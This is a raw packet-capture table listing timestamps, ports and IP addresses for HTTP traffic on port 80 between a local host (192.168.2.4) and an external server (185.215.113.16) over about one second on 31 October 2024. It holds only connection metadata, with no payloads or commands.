Oct 31, 2024 03:04:18.427936077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428011894 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428056002 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.428170919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428181887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428193092 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428214073 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.428234100 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.428236008 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.428272009 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.465284109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.465327024 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.465384960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.465394974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.465428114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.465429068 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.465466022 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.512006044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.512023926 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.512036085 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.512048960 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.512063980 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.512080908 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.546200037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546268940 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546273947 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.546278954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546289921 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546300888 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546310902 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.546312094 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546324015 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546336889 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.546355963 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.546379089 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.547094107 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.547106028 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.547116995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.547143936 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.547173023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.584285021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.584299088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.584309101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.584386110 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.584433079 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.630531073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.630542994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.630554914 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.630577087 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.630620956 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.630675077 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.630714893 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.630743980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.630834103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.664855003 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.664906979 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.664946079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.664963007 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.664973974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.664984941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.664995909 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665004969 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665050983 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665200949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665252924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665369034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665379047 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665395021 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665405989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665416002 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.665420055 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665446997 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.665477037 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.702770948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.702783108 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.702794075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.702828884 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.702853918 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.749164104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.749176025 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.749243021 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.749258995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.749269962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.749279976 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.749306917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.749327898 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.794513941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794524908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794536114 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794548035 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794562101 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794579029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794589996 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794593096 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.794600964 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794605017 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.794612885 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794625998 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794631958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.794637918 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.794651985 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.794683933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.821530104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.821572065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.821577072 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.821583033 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.821615934 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.867870092 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.867882013 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.867892027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.867929935 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.867959023 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.901896954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.901911020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.901921034 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.901972055 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.901992083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.903577089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.903619051 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.903629065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.903633118 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.903676987 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.903858900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.903907061 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.903964043 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904063940 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.904099941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904110909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904140949 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904150963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904151917 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.904200077 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.904485941 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904571056 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.904582024 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904592991 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.904623985 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.940366983 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.940378904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.940390110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.940413952 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.940469027 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.986669064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.986691952 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.986701965 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:18.986763000 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:18.986855030 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.020536900 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.020549059 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.020564079 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.020589113 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.020603895 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.022133112 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022293091 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022303104 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022314072 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022325993 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022336960 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022346020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.022347927 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022361040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.022370100 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.022387981 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.022401094 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.023190022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023201942 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023211956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023252964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.023287058 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.023534060 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023545027 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023555040 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.023595095 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.023623943 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.058885098 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.058897972 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.058907986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.058953047 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.058976889 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.105057001 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.105071068 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.105143070 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.139379978 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.139400959 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.139429092 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.139446020 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.139496088 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.140933037 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.140944004 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.140954971 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.140989065 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.140997887 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.140997887 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141000986 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141041994 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141100883 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141208887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141220093 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141237020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141247988 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141273975 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141273975 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141793966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141804934 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141815901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141836882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141848087 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.141887903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141887903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.141887903 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.177695990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.177707911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.177717924 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.177728891 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.177774906 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.177848101 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.257873058 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.257884979 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.257894039 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.257971048 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.259346962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259356022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259366989 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259403944 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259414911 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259419918 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.259473085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.259473085 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.259723902 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259898901 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259907961 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259942055 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259953022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259958982 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.259962082 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.259985924 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260027885 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260420084 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260467052 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260477066 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260493994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260518074 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260528088 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260529995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260529995 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260540009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.260579109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260579109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.260579109 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.296144962 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296158075 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296168089 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296263933 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.296293974 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296305895 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296315908 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.296374083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.296374083 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.376274109 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.376285076 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.376377106 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.376377106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.376386881 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.376538992 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378123045 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378134966 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378146887 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378160954 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378191948 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378191948 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378191948 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378205061 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378216028 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378217936 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378259897 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378272057 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378612995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378623009 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378633022 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378659964 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378690004 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.378940105 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378951073 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378963947 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.378995895 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.379014015 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.414819956 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414830923 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414843082 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414882898 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414897919 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414911032 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.414917946 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.415069103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.415069103 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.415153980 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.415214062 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.415285110 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.415333986 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.494963884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.494976044 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.494991064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.495122910 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.496582031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496637106 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.496644020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496684074 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.496700048 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496710062 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496721029 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496732950 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.496757984 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.496807098 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.497168064 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497179031 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497189045 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497230053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.497230053 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.497514963 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497526884 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497538090 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497550011 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497561932 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.497636080 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.497927904 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.497962952 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.498163939 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.498250961 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.533617020 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533632994 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533644915 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533655882 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533668995 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533698082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.533698082 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.533746958 CET	63827	80	192.168.2.4	185.215.113.16
Oct 31, 2024 03:04:19.533886909 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533899069 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533910990 CET	80	63827	185.215.113.16	192.168.2.4
Oct 31, 2024 03:04:19.533982038 CET	63827	80	192.168.2.4	185.215.113.16
